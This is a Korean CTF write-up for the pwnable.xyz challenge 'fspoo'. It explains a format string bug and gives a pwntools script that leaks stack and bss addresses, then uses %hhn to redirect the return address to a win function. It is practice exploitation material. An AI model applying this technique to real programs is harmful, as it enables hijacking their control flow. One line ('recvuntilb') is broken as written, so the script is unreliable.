pwn/pwnable.xyz
pwnable.xyz / fspoo
lok2h4rd
2022. 5. 13. 20:10
쉬운 문제였는데 시력에 문제가 있는지 while문 처음에 printf로 fsb가 터지는걸 못봤다
while문 처음에 fsb가 터진다
이후에 prep msg를 통해 cmd[32]를 덮어서 fsb를 터트릴 수 있지만 매우 제한적이다
v1(v1)을 통해 입력을 받고 1byte만 검사하기 때문에 메모리 릭하고 이 값에 원하는 주소를 넣으면 fsb를 통해 aaw가 가능하다
ret주소가의 하위 1byte만 조작하면 win함수로 변경이 가능해서
스택 주소 하나 릭해서 ret주소가 저장된 스택주소를 v1에 저장하고 fsb를 통해 하위 1byte만 조작해서 ret가 win함수가 되도록했다
빨간색 표시가 scanf로 입력한 값이고 초록색 표시가 ret주소다
1byte만 변조하여 ret주소가 win함수가 되도록하였다
from pwn import *
#context.log_level = "debug"
p = process("./fspoo")
#gdb.attach(p)
def edit_name(data):
payload = b"A" * 0x19
payload += data
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"Name: ")
p.sendline(payload)
def prep_msg():
p.recvuntilb("> ")
p.sendline(b"2")
payload = b"A" * 0x19
payload += b"%10$p"
p.recvuntil(b"Name: ")
p.sendline(payload)
prep_msg()
p.recvuntil(b"0x")
leak = int(p.recv(8), 16)
stack_ret = leak - 0xc
ret_num = 0x100000000 - stack_ret
log.info("leak: " + hex(leak))
log.info("stack ret: " + hex(stack_ret))
edit_name(b"%2$p")
prep_msg()
p.recvuntil(b"0x")
bss_leak = int(p.recv(8), 16)
bss = bss_leak + (0x100 - (bss_leak & 0xff))
log.info("bss leak: " + hex(bss_leak))
log.info("use bss : " + hex(bss))
edit_name(b"%6$hhn")
p.recvuntil(b"> ")
p.sendline(str(bss + 2))
p.recvuntil(b"> ")
p.sendline("-" + str(ret_num))
p.recvuntil(b"> ")
p.sendline(b"0")
p.interactive()